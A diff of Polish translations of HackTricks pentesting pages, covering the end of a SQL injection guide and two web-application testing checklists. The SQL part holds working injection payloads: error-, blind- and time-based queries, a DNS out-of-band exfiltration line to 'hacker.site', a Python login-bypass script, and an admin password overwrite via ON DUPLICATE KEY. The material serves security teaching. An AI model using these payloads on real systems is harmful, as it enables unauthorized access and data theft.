Można to osiągnąć za pomocą technik wstrzyknięcia ślepego wraz z domyślnymi tabelami specyficznymi dla twojego systemu zarządzania bazą danych (DBMS). Aby zrozumieć te domyślne tabele, zaleca się zapoznanie się z dokumentacją docelowego DBMS.
Gdy zapytanie zostanie wyodrębnione, konieczne jest dostosowanie ładunku, aby bezpiecznie zamknąć oryginalne zapytanie. Następnie do twojego ładunku dodawane jest zapytanie unii, co ułatwia wykorzystanie nowo dostępnej injekcji opartej na unii.
Gdy zapytanie zostanie wyodrębnione, konieczne jest dostosowanie ładunku, aby bezpiecznie zamknąć oryginalne zapytanie. Następnie do twojego ładunku dodawane jest zapytanie unii, co ułatwia wykorzystanie nowo dostępnego wstrzyknięcia opartego na unii.
Aby uzyskać bardziej szczegółowe informacje, zapoznaj się z pełnym artykułem dostępnym pod adresem [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
## Wykorzystywanie opartej na błędach
## Exploiting Error based
Jeśli z jakiegoś powodu **nie możesz** zobaczyć **wyniku** **zapytania**, ale możesz **widzieć komunikaty o błędach**, możesz wykorzystać te komunikaty o błędach do **ekstrahowania** danych z bazy danych.\
Podążając podobnym tokiem jak w przypadku wykorzystania opartej na unii, możesz zdołać zrzucić bazę danych.
Podążając podobnym tokiem jak w przypadku wstrzyknięcia opartego na unii, możesz zdołać zrzucić bazę danych.
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
@ -213,13 +213,13 @@ W tym przypadku możesz wykorzystać to zachowanie, aby zrzucić bazę danych zn
```
## Wykorzystywanie Error Blind SQLi
To **ten sam przypadek co wcześniej**, ale zamiast rozróżniać odpowiedź prawdziwą/fałszywą z zapytania, możesz **rozróżniać między** **błędem** w zapytaniu SQL a jego brakiem (może dlatego, że serwer HTTP się zawiesza). Dlatego w tym przypadku możesz wymusić błąd SQL za każdym razem, gdy poprawnie zgadniesz znak:
To **ten sam przypadek co wcześniej**, ale zamiast rozróżniać odpowiedź prawdziwą/fałszywą z zapytania, możesz **rozróżniać** między **błędem** w zapytaniu SQL a jego brakiem (może dlatego, że serwer HTTP się zawiesza). Dlatego w tym przypadku możesz wymusić błąd SQL za każdym razem, gdy poprawnie zgadniesz znak:
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Wykorzystywanie SQLi opartego na czasie
W tym przypadku **nie ma** sposobu na **rozróżnienie** **odpowiedzi** zapytania na podstawie kontekstu strony. Jednak możesz sprawić, że strona **będzie się ładować dłużej**, jeśli zgadnięty znak jest poprawny. Już wcześniej widzieliśmy tę technikę w użyciu, aby [potwierdzić lukę SQLi](#confirming-with-timing).
W tym przypadku **nie ma** sposobu na **rozróżnienie** **odpowiedzi** zapytania w oparciu o kontekst strony. Jednak możesz sprawić, że strona **będzie się ładować dłużej**, jeśli zgadnięty znak jest poprawny. Już wcześniej widzieliśmy tę technikę w użyciu, aby [potwierdzić lukę SQLi](#confirming-with-timing).
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
@ -231,7 +231,7 @@ Możesz użyć stacked queries, aby **wykonać wiele zapytań z rzędu**. Zauwa
## Out of band Exploitation
Jeśli **żaden inny** sposób eksploatacji **nie zadziałał**, możesz spróbować sprawić, aby **baza danych wyekstrahowała** informacje do **zewnętrznego hosta** kontrolowanego przez ciebie. Na przykład, za pomocą zapytań DNS:
Jeśli **żadna inna** metoda eksploatacji **nie zadziałała**, możesz spróbować sprawić, aby **baza danych wyeksportowała** informacje do **zewnętrznego hosta** kontrolowanego przez Ciebie. Na przykład, za pomocą zapytań DNS:
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
@ -241,7 +241,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
```
## Zautomatyzowane Wykorzystanie
Sprawdź [SQLMap Cheatsheet](sqlmap/), aby wykorzystać lukę SQLi za pomocą [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
Sprawdź [SQLMap Cheatsheet](sqlmap/index.html), aby wykorzystać lukę SQLi za pomocą [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
## Informacje techniczne
@ -249,9 +249,9 @@ Omówiliśmy już wszystkie sposoby wykorzystania luki SQL Injection. Znajdź wi
- [MS Access](ms-access-sql-injection.md)
- [MSSQL](mssql-injection.md)
- [MySQL](mysql-injection/)
- [MySQL](mysql-injection/index.html)
- [Oracle](oracle-injection.md)
- [PostgreSQL](postgresql-injection/)
- [PostgreSQL](postgresql-injection/index.html)
Lub znajdziesz **wiele sztuczek dotyczących: MySQL, PostgreSQL, Oracle, MSSQL, SQLite i HQL w** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
@ -267,7 +267,7 @@ Lista do próby ominięcia funkcji logowania:
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
To zapytanie pokazuje lukę, gdy MD5 jest używane z wartością true dla surowego wyjścia w kontrolach uwierzytelniania, co sprawia, że system jest podatny na SQL injection. Atakujący mogą to wykorzystać, tworząc dane wejściowe, które, po zhashowaniu, generują nieoczekiwane części poleceń SQL, co prowadzi do nieautoryzowanego dostępu.
To zapytanie pokazuje lukę, gdy MD5 jest używane z wartością true dla surowego wyjścia w kontrolach uwierzytelniania, co sprawia, że system jest podatny na SQL injection. Atakujący mogą to wykorzystać, tworząc dane wejściowe, które, po zhashowaniu, generują nieoczekiwane części poleceń SQL, prowadząc do nieautoryzowanego dostępu.
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
@ -283,7 +283,7 @@ Powinieneś używać jako nazwy użytkownika każdej linii z listy, a jako hasł
{% file src="../../images/sqli-hashbypass.txt" %}
### GBK Authentication Bypass
### Ominięcie uwierzytelniania GBK
JEŚLI ' jest escape'owane, możesz użyć %A8%27, a gdy ' zostanie escape'owane, zostanie utworzone: 0xA80x5c0x27 (_╘'_)
```sql
@ -300,21 +300,21 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
```
### Polyglot injection (multicontext)
### Wstrzykiwanie poliglotowe (multikontekstowe)
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
## Insert Statement
### Modify password of existing object/user
### Zmiana hasła istniejącego obiektu/użytkownika
Aby to zrobić, powinieneś spróbować **utworzyć nowy obiekt nazwany "obiektem głównym"** (prawdopodobnie **admin** w przypadku użytkowników) modyfikując coś:
Aby to zrobić, powinieneś spróbować **utworzyć nowy obiekt o nazwie "obiekt główny"** (prawdopodobnie **admin** w przypadku użytkowników) modyfikując coś:
- Utwórz użytkownika o nazwie: **AdMIn** (wielkie i małe litery)
- Utwórz użytkownika o nazwie: **admin=**
- **SQL Truncation Attack** (gdy istnieje jakiś **limit długości** w nazwie użytkownika lub e-mailu) --> Utwórz użytkownika o nazwie: **admin \[dużo spacji] a**
- **Atak Truncation SQL** (gdy istnieje jakiś **limit długości** w nazwie użytkownika lub e-mailu) --> Utwórz użytkownika o nazwie: **admin \[dużo spacji] a**
#### SQL Truncation Attack
#### Atak Truncation SQL
Jeśli baza danych jest podatna, a maksymalna liczba znaków dla nazwy użytkownika wynosi na przykład 30 i chcesz podszyć się pod użytkownika **admin**, spróbuj utworzyć nazwę użytkownika: "_admin \[30 spacji] a_" i dowolne hasło.
@ -322,21 +322,21 @@ Baza danych **sprawdzi**, czy wprowadzona **nazwa użytkownika** **istnieje** w
Więcej informacji: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_Note: Ten atak nie będzie już działał tak, jak opisano powyżej w najnowszych instalacjach MySQL. Chociaż porównania nadal ignorują białe znaki na końcu domyślnie, próba wstawienia ciągu, który jest dłuższy niż długość pola, spowoduje błąd, a wstawienie nie powiedzie się. Więcej informacji na ten temat:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
_Uwaga: Ten atak nie będzie już działał tak, jak opisano powyżej w najnowszych instalacjach MySQL. Chociaż porównania nadal ignorują białe znaki na końcu domyślnie, próba wstawienia ciągu, który jest dłuższy niż długość pola, spowoduje błąd, a wstawienie nie powiedzie się. Więcej informacji na ten temat:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
### MySQL Insert time based checking
Dodaj tyle `','',''`, ile uważasz, aby zakończyć instrukcję VALUES. Jeśli opóźnienie zostanie wykonane, masz SQLInjection.
Dodaj tyle `','',''`, ile uważasz za konieczne, aby zakończyć instrukcję VALUES. Jeśli wystąpi opóźnienie, masz SQLInjection.
```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
Klauzula `ON DUPLICATE KEY UPDATE` w MySQL jest wykorzystywana do określenia działań, które baza danych ma podjąć, gdy próba wstawienia wiersza spowoduje duplikat wartości w indeksie UNIQUE lub PRIMARY KEY. Poniższy przykład ilustruje, jak ta funkcja może być wykorzystana do zmiany hasła konta administratora:
Klauzula `ON DUPLICATE KEY UPDATE` w MySQL jest wykorzystywana do określenia działań, które baza danych ma podjąć, gdy podejmowana jest próba wstawienia wiersza, co skutkowałoby duplikatem wartości w indeksie UNIQUE lub PRIMARY KEY. Poniższy przykład ilustruje, jak ta funkcja może być wykorzystana do zmiany hasła konta administratora:
Example Payload Injection:
Ładunek iniekcji może być skonstruowany w następujący sposób, gdzie próbuje się wstawić dwa wiersze do tabeli `users`. Pierwszy wiersz jest wabikiem, a drugi wiersz celuje w istniejący adres e-mail administratora z zamiarem zaktualizowania hasła:
Ładunek iniekcji może być skonstruowany w następujący sposób, gdzie podejmowane są próby wstawienia dwóch wierszy do tabeli `users`. Pierwszy wiersz jest wabikiem, a drugi wiersz celuje w istniejący adres e-mail administratora z zamiarem zaktualizowania hasła:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
@ -436,7 +436,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
```
### Bypass WAF za pomocą notacji naukowej
Możesz znaleźć bardziej szczegółowe wyjaśnienie tego triku na blogu [gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
Możesz znaleźć bardziej szczegółowe wyjaśnienie tego triku na [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
W zasadzie możesz użyć notacji naukowej w nieoczekiwany sposób, aby obejść WAF:
```
-1' or 1.e(1) or '1'='1

View File

@ -10,7 +10,7 @@ W każdym teście penetracyjnym aplikacji webowej istnieje **wiele ukrytych i oc
> Obecnie **aplikacje** **webowe** zazwyczaj **używają** jakiegoś rodzaju **pośredniczących** **proxy**, które mogą być (nadużywane) do eksploatacji wrażliwości. Te wrażliwości wymagają, aby wrażliwe proxy było na miejscu, ale zazwyczaj potrzebują również dodatkowej wrażliwości w backendzie.
- [ ] [**Nadużywanie nagłówków hop-by-hop**](abusing-hop-by-hop-headers.md)
- [ ] [**Zatrucie pamięci podręcznej/Oszuści pamięci podręcznej**](cache-deception/)
- [ ] [**Zatrucie pamięci podręcznej/Oszuśtwo pamięci podręcznej**](cache-deception/index.html)
- [ ] [**Smuggling żądań HTTP**](http-request-smuggling/)
- [ ] [**Smuggling H2C**](h2c-smuggling.md)
- [ ] [**Inkluzja po stronie serwera/Inkluzja po stronie krawędzi**](server-side-inclusion-edge-side-inclusion-injection.md)
@ -21,30 +21,30 @@ W każdym teście penetracyjnym aplikacji webowej istnieje **wiele ukrytych i oc
## **Dane wejściowe użytkownika**
> [!NOTE]
> Większość aplikacji webowych **pozwala użytkownikom na wprowadzenie danych, które będą przetwarzane później.**\
> W zależności od struktury danych, których serwer oczekuje, niektóre wrażliwości mogą, ale nie muszą mieć zastosowania.
> Większość aplikacji webowych **pozwala użytkownikom na wprowadzenie danych, które będą później przetwarzane.**\
> W zależności od struktury danych, których serwer oczekuje, niektóre wrażliwości mogą, ale nie muszą, mieć zastosowanie.
### **Wartości odzwierciedlone**
Jeśli wprowadzone dane mogą być w jakiś sposób odzwierciedlone w odpowiedzi, strona może być podatna na kilka problemów.
Jeśli wprowadzone dane mogą w jakiś sposób być odzwierciedlone w odpowiedzi, strona może być podatna na kilka problemów.
- [ ] [**Iniekcja szablonów po stronie klienta**](client-side-template-injection-csti.md)
- [ ] [**Iniekcja poleceń**](command-injection.md)
- [ ] [**CRLF**](crlf-0d-0a.md)
- [ ] [**Zawieszone znaczniki**](dangling-markup-html-scriptless-injection/)
- [ ] [**Inkluzja plików/Przechodzenie ścieżek**](file-inclusion/)
- [ ] [**Zawieszone znaczniki**](dangling-markup-html-scriptless-injection/index.html)
- [ ] [**Inkluzja plików/Przechodzenie ścieżek**](file-inclusion/index.html)
- [ ] [**Otwarte przekierowanie**](open-redirect.md)
- [ ] [**Zanieczyszczenie prototypu do XSS**](deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
- [ ] [**Inkluzja po stronie serwera/Inkluzja po stronie krawędzi**](server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Fałszywe żądanie po stronie serwera**](ssrf-server-side-request-forgery/)
- [ ] [**Iniekcja szablonów po stronie serwera**](ssti-server-side-template-injection/)
- [ ] [**Fałszywe żądanie po stronie serwera**](ssrf-server-side-request-forgery/index.html)
- [ ] [**Iniekcja szablonów po stronie serwera**](ssti-server-side-template-injection/index.html)
- [ ] [**Odwrócone przechwytywanie kart**](reverse-tab-nabbing.md)
- [ ] [**Iniekcja XSLT po stronie serwera**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**XSS**](xss-cross-site-scripting/)
- [ ] [**XSS**](xss-cross-site-scripting/index.html)
- [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
- [ ] [**XS-Search**](xs-search/)
- [ ] [**XS-Search**](xs-search/index.html)
Niektóre z wymienionych wrażliwości wymagają specjalnych warunków, inne po prostu wymagają, aby treść była odzwierciedlona. Możesz znaleźć interesujące poligloty do szybkiego testowania wrażliwości w:
Niektóre z wymienionych wrażliwości wymagają specjalnych warunków, inne po prostu wymagają, aby treść była odzwierciedlona. Możesz znaleźć kilka interesujących poliglotów do szybkiego testowania wrażliwości w:
{{#ref}}
pocs-and-polygloths-cheatsheet/
@ -52,40 +52,40 @@ pocs-and-polygloths-cheatsheet/
### **Funkcje wyszukiwania**
Jeśli funkcjonalność może być używana do wyszukiwania jakichkolwiek danych w backendzie, być może możesz (nadużyć) jej do wyszukiwania dowolnych danych.
Jeśli funkcjonalność może być używana do wyszukiwania jakiegoś rodzaju danych w backendzie, być może możesz (nadużyć) jej do wyszukiwania dowolnych danych.
- [ ] [**Inkluzja plików/Przechodzenie ścieżek**](file-inclusion/)
- [ ] [**Inkluzja plików/Przechodzenie ścieżek**](file-inclusion/index.html)
- [ ] [**Iniekcja NoSQL**](nosql-injection.md)
- [ ] [**Iniekcja LDAP**](ldap-injection.md)
- [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md)
- [ ] [**Iniekcja SQL**](sql-injection/)
- [ ] [**Iniekcja SQL**](sql-injection/index.html)
- [ ] [**Iniekcja XPATH**](xpath-injection.md)
### **Formularze, WebSockety i PostMsgs**
### **Formularze, WebSockets i PostMsgs**
Gdy websocket wysyła wiadomość lub formularz pozwalający użytkownikom na wykonywanie działań, mogą wystąpić wrażliwości.
Gdy websocket wysyła wiadomość lub formularz umożliwiający użytkownikom wykonywanie działań, mogą wystąpić wrażliwości.
- [ ] [**Fałszywe żądanie między witrynami**](csrf-cross-site-request-forgery.md)
- [ ] [**Przechwytywanie WebSocketów między witrynami (CSWSH)**](websocket-attacks.md)
- [ ] [**Wrażliwości PostMessage**](postmessage-vulnerabilities/)
- [ ] [**Przechwytywanie WebSocket między witrynami (CSWSH)**](websocket-attacks.md)
- [ ] [**Wrażliwości PostMessage**](postmessage-vulnerabilities/index.html)
### **Nagłówki HTTP**
W zależności od nagłówków HTTP podawanych przez serwer webowy, mogą występować pewne wrażliwości.
- [ ] [**Clickjacking**](clickjacking.md)
- [ ] [**Obejście polityki bezpieczeństwa treści**](content-security-policy-csp-bypass/)
- [ ] [**Hacking ciasteczek**](hacking-with-cookies/)
- [ ] [**Obejście polityki bezpieczeństwa treści**](content-security-policy-csp-bypass/index.html)
- [ ] [**Hacking ciasteczek**](hacking-with-cookies/index.html)
- [ ] [**CORS - Błędy konfiguracyjne i obejścia**](cors-bypass.md)
### **Obejścia**
Istnieje kilka specyficznych funkcjonalności, w których pewne obejścia mogą być przydatne.
Istnieje kilka specyficznych funkcjonalności, w których pewne obejścia mogą być przydatne do ich ominięcia.
- [ ] [**Obejście 2FA/OTP**](2fa-bypass.md)
- [ ] [**Obejście procesu płatności**](bypass-payment-process.md)
- [ ] [**Obejście Captcha**](captcha-bypass.md)
- [ ] [**Obejście logowania**](login-bypass/)
- [ ] [**Obejście logowania**](login-bypass/index.html)
- [ ] [**Warunek wyścigu**](race-condition.md)
- [ ] [**Obejście limitu szybkości**](rate-limit-bypass.md)
- [ ] [**Obejście resetowania zapomnianego hasła**](reset-password.md)
@ -94,12 +94,12 @@ Istnieje kilka specyficznych funkcjonalności, w których pewne obejścia mogą
### **Obiekty strukturalne / Specyficzne funkcjonalności**
Niektóre funkcjonalności będą wymagały, aby **dane były ustrukturyzowane w bardzo specyficznym formacie** (jak zserializowany obiekt językowy lub XML). Dlatego łatwiej jest zidentyfikować, czy aplikacja może być wrażliwa, ponieważ musi przetwarzać tego rodzaju dane.\
Niektóre **specyficzne funkcjonalności** mogą być również wrażliwe, jeśli użyty jest **specyficzny format wejścia** (jak iniekcje nagłówków e-mail).
Niektóre **specyficzne funkcjonalności** mogą być również wrażliwe, jeśli użyty jest **specyficzny format wejścia** (jak Iniekcje nagłówków e-mail).
- [ ] [**Deserializacja**](deserialization/)
- [ ] [**Deserializacja**](deserialization/index.html)
- [ ] [**Iniekcja nagłówków e-mail**](email-injections.md)
- [ ] [**Wrażliwości JWT**](hacking-jwt-json-web-tokens.md)
- [ ] [**Zewnętrzny byt XML**](xxe-xee-xml-external-entity.md)
- [ ] [**Zewnętrzna jednostka XML**](xxe-xee-xml-external-entity.md)
### Pliki
@ -107,7 +107,7 @@ Funkcjonalności, które pozwalają na przesyłanie plików, mogą być podatne
Funkcjonalności, które generują pliki zawierające dane wejściowe użytkownika, mogą wykonywać nieoczekiwany kod.\
Użytkownicy, którzy otwierają pliki przesyłane przez użytkowników lub automatycznie generowane, w tym dane wejściowe użytkownika, mogą być narażeni na niebezpieczeństwo.
- [ ] [**Przesyłanie plików**](file-upload/)
- [ ] [**Przesyłanie plików**](file-upload/index.html)
- [ ] [**Iniekcja formuły**](formula-csv-doc-latex-ghostscript-injection.md)
- [ ] [**Iniekcja PDF**](xss-cross-site-scripting/pdf-injection.md)
- [ ] [**XSS po stronie serwera**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
@ -115,7 +115,7 @@ Użytkownicy, którzy otwierają pliki przesyłane przez użytkowników lub auto
### **Zarządzanie tożsamością zewnętrzną**
- [ ] [**OAUTH do przejęcia konta**](oauth-to-account-takeover.md)
- [ ] [**Ataki SAML**](saml-attacks/)
- [ ] [**Ataki SAML**](saml-attacks/index.html)
### **Inne pomocne wrażliwości**
@ -124,6 +124,6 @@ Te wrażliwości mogą pomóc w eksploatacji innych wrażliwości.
- [ ] [**Przejęcie domeny/subdomeny**](domain-subdomain-takeover.md)
- [ ] [**IDOR**](idor.md)
- [ ] [**Zanieczyszczenie parametrów**](parameter-pollution.md)
- [ ] [**Wrażliwość normalizacji Unicode**](unicode-injection/)
- [ ] [**Wrażliwość normalizacji Unicode**](unicode-injection/index.html)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
W każdym teście penetracyjnym aplikacji webowej istnieje **wiele ukrytych i oczywistych miejsc, które mogą być wrażliwe**. Ten post ma na celu stworzenie listy kontrolnej, aby potwierdzić, że przeszukałeś wrażliwości we wszystkich możliwych miejscach.
W każdym teście penetracyjnym aplikacji webowych istnieje **wiele ukrytych i oczywistych miejsc, które mogą być wrażliwe**. Ten post ma na celu stworzenie listy kontrolnej, aby potwierdzić, że przeszukałeś wrażliwości we wszystkich możliwych miejscach.
## Proxies
@ -11,7 +11,7 @@ W każdym teście penetracyjnym aplikacji webowej istnieje **wiele ukrytych i oc
- [ ] [**Nadużywanie nagłówków hop-by-hop**](../abusing-hop-by-hop-headers.md)
- [ ] [**Zatrucie pamięci podręcznej/Oszuśtwo pamięci podręcznej**](../cache-deception.md)
- [ ] [**Smuggling żądań HTTP**](../http-request-smuggling/)
- [ ] [**Smuggling żądań HTTP**](../http-request-smuggling/index.html)
- [ ] [**Smuggling H2C**](../h2c-smuggling.md)
- [ ] [**Inkluzja po stronie serwera/Inkluzja po stronie krawędzi**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Odkrywanie Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
@ -21,30 +21,30 @@ W każdym teście penetracyjnym aplikacji webowej istnieje **wiele ukrytych i oc
## **Dane wejściowe użytkownika**
> [!NOTE]
> Większość aplikacji webowych **pozwala użytkownikom na wprowadzanie danych, które będą przetwarzane później.**\
> W zależności od struktury danych, których serwer oczekuje, niektóre wrażliwości mogą, ale nie muszą, mieć zastosowanie.
> Większość aplikacji webowych **pozwala użytkownikom na wprowadzenie danych, które będą przetwarzane później.**\
> W zależności od struktury danych, które serwer oczekuje, niektóre wrażliwości mogą, ale nie muszą, mieć zastosowanie.
### **Wartości odzwierciedlone**
Jeśli wprowadzone dane mogą w jakiś sposób być odzwierciedlone w odpowiedzi, strona może być podatna na kilka problemów.
Jeśli wprowadzone dane mogą być w jakiś sposób odzwierciedlone w odpowiedzi, strona może być podatna na kilka problemów.
- [ ] [**Iniekcja szablonów po stronie klienta**](../client-side-template-injection-csti.md)
- [ ] [**Iniekcja poleceń**](../command-injection.md)
- [ ] [**CRLF**](../crlf-0d-0a.md)
- [ ] [**Zawieszone znaczniki**](../dangling-markup-html-scriptless-injection/)
- [ ] [**Inkluzja plików/Przechodzenie ścieżek**](../file-inclusion/)
- [ ] [**Zawieszone znaczniki**](../dangling-markup-html-scriptless-injection/index.html)
- [ ] [**Inkluzja plików/Przechodzenie ścieżek**](../file-inclusion/index.html)
- [ ] [**Otwarte przekierowanie**](../open-redirect.md)
- [ ] [**Zanieczyszczenie prototypu do XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
- [ ] [**Inkluzja po stronie serwera/Inkluzja po stronie krawędzi**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Fałszerstwo żądań po stronie serwera**](../ssrf-server-side-request-forgery/)
- [ ] [**Iniekcja szablonów po stronie serwera**](../ssti-server-side-template-injection/)
- [ ] [**Fałszerstwo żądań po stronie serwera**](../ssrf-server-side-request-forgery/index.html)
- [ ] [**Iniekcja szablonów po stronie serwera**](../ssti-server-side-template-injection/index.html)
- [ ] [**Odwrócone przechwytywanie kart**](../reverse-tab-nabbing.md)
- [ ] [**Iniekcja XSLT po stronie serwera**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**XSS**](../xss-cross-site-scripting/)
- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
- [ ] [**XS-Search**](../xs-search.md)
Niektóre z wymienionych wrażliwości wymagają specjalnych warunków, inne po prostu wymagają, aby treść była odzwierciedlona. Możesz znaleźć kilka interesujących poliglotów do szybkiego testowania wrażliwości w:
Niektóre z wymienionych wrażliwości wymagają specjalnych warunków, inne wymagają jedynie, aby treść była odzwierciedlona. Możesz znaleźć interesujące poligloty do szybkiego testowania wrażliwości w:
{{#ref}}
../pocs-and-polygloths-cheatsheet/
@ -52,30 +52,30 @@ Niektóre z wymienionych wrażliwości wymagają specjalnych warunków, inne po
### **Funkcje wyszukiwania**
Jeśli funkcjonalność może być używana do wyszukiwania jakichkolwiek danych w backendzie, być może możesz (nadużyć) jej do wyszukiwania dowolnych danych.
Jeśli funkcjonalność może być używana do wyszukiwania jakiegoś rodzaju danych w backendzie, być może możesz (nadużyć) jej do wyszukiwania dowolnych danych.
- [ ] [**Inkluzja plików/Przechodzenie ścieżek**](../file-inclusion/)
- [ ] [**Inkluzja plików/Przechodzenie ścieżek**](../file-inclusion/index.html)
- [ ] [**Iniekcja NoSQL**](../nosql-injection.md)
- [ ] [**Iniekcja LDAP**](../ldap-injection.md)
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
- [ ] [**Iniekcja SQL**](../sql-injection/)
- [ ] [**Iniekcja SQL**](../sql-injection/index.html)
- [ ] [**Iniekcja XPATH**](../xpath-injection.md)
### **Formularze, WebSockety i PostMsgs**
Gdy websocket wysyła wiadomość lub formularz umożliwiający użytkownikom wykonywanie działań, mogą wystąpić wrażliwości.
Gdy websocket wysyła wiadomość lub formularz pozwalający użytkownikom na wykonywanie działań, mogą wystąpić wrażliwości.
- [ ] [**Fałszerstwo żądań między witrynami**](../csrf-cross-site-request-forgery.md)
- [ ] [**Przechwytywanie WebSocketów między witrynami (CSWSH)**](../websocket-attacks.md)
- [ ] [**Wrażliwości PostMessage**](../postmessage-vulnerabilities/)
- [ ] [**Wrażliwości PostMessage**](../postmessage-vulnerabilities/index.html)
### **Nagłówki HTTP**
W zależności od nagłówków HTTP podawanych przez serwer webowy, mogą występować pewne wrażliwości.
- [ ] [**Clickjacking**](../clickjacking.md)
- [ ] [**Obejście polityki bezpieczeństwa treści**](../content-security-policy-csp-bypass/)
- [ ] [**Hacking ciasteczek**](../hacking-with-cookies/)
- [ ] [**Obejście polityki bezpieczeństwa treści**](../content-security-policy-csp-bypass/index.html)
- [ ] [**Hacking ciasteczek**](../hacking-with-cookies/index.html)
- [ ] [**CORS - Błędy konfiguracyjne i obejścia**](../cors-bypass.md)
### **Obejścia**
@ -85,7 +85,7 @@ Istnieje kilka specyficznych funkcjonalności, w których pewne obejścia mogą
- [ ] [**Obejście 2FA/OTP**](../2fa-bypass.md)
- [ ] [**Obejście procesu płatności**](../bypass-payment-process.md)
- [ ] [**Obejście Captcha**](../captcha-bypass.md)
- [ ] [**Obejście logowania**](../login-bypass/)
- [ ] [**Obejście logowania**](../login-bypass/index.html)
- [ ] [**Warunek wyścigu**](../race-condition.md)
- [ ] [**Obejście limitu szybkości**](../rate-limit-bypass.md)
- [ ] [**Obejście resetowania zapomnianego hasła**](../reset-password.md)
@ -94,28 +94,28 @@ Istnieje kilka specyficznych funkcjonalności, w których pewne obejścia mogą
### **Obiekty strukturalne / Specyficzne funkcjonalności**
Niektóre funkcjonalności będą wymagały, aby **dane były ustrukturyzowane w bardzo specyficznym formacie** (jak obiekt zserializowany w języku lub XML). Dlatego łatwiej jest zidentyfikować, czy aplikacja może być wrażliwa, ponieważ musi przetwarzać tego rodzaju dane.\
Niektóre **specyficzne funkcjonalności** mogą być również wrażliwe, jeśli użyty jest **specyficzny format wejścia** (jak Iniekcje nagłówków e-mail).
Niektóre **specyficzne funkcjonalności** mogą być również wrażliwe, jeśli użyty jest **specyficzny format wejścia** (jak iniekcje nagłówków e-mail).
- [ ] [**Deserializacja**](../deserialization/)
- [ ] [**Deserializacja**](../deserialization/index.html)
- [ ] [**Iniekcja nagłówków e-mail**](../email-injections.md)
- [ ] [**Wrażliwości JWT**](../hacking-jwt-json-web-tokens.md)
- [ ] [**Zewnętrzny byt XML**](../xxe-xee-xml-external-entity.md)
### Pliki
Funkcjonalności, które pozwalają na przesyłanie plików, mogą być podatne na kilka problemów.\
Funkcjonalności, które pozwalają na przesyłanie plików, mogą być podatne na różne problemy.\
Funkcjonalności, które generują pliki zawierające dane wejściowe użytkownika, mogą wykonywać nieoczekiwany kod.\
Użytkownicy, którzy otwierają pliki przesyłane przez użytkowników lub automatycznie generowane, w tym dane wejściowe użytkownika, mogą być narażeni na niebezpieczeństwo.
- [ ] [**Przesyłanie plików**](../file-upload/)
- [ ] [**Przesyłanie plików**](../file-upload/index.html)
- [ ] [**Iniekcja formuły**](../formula-csv-doc-latex-ghostscript-injection.md)
- [ ] [**Iniekcja PDF**](../xss-cross-site-scripting/pdf-injection.md)
- [ ] [**XSS po stronie serwera**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
### **Zewnętrzne zarządzanie tożsamością**
### **Zarządzanie tożsamością zewnętrzną**
- [ ] [**OAUTH do przejęcia konta**](../oauth-to-account-takeover.md)
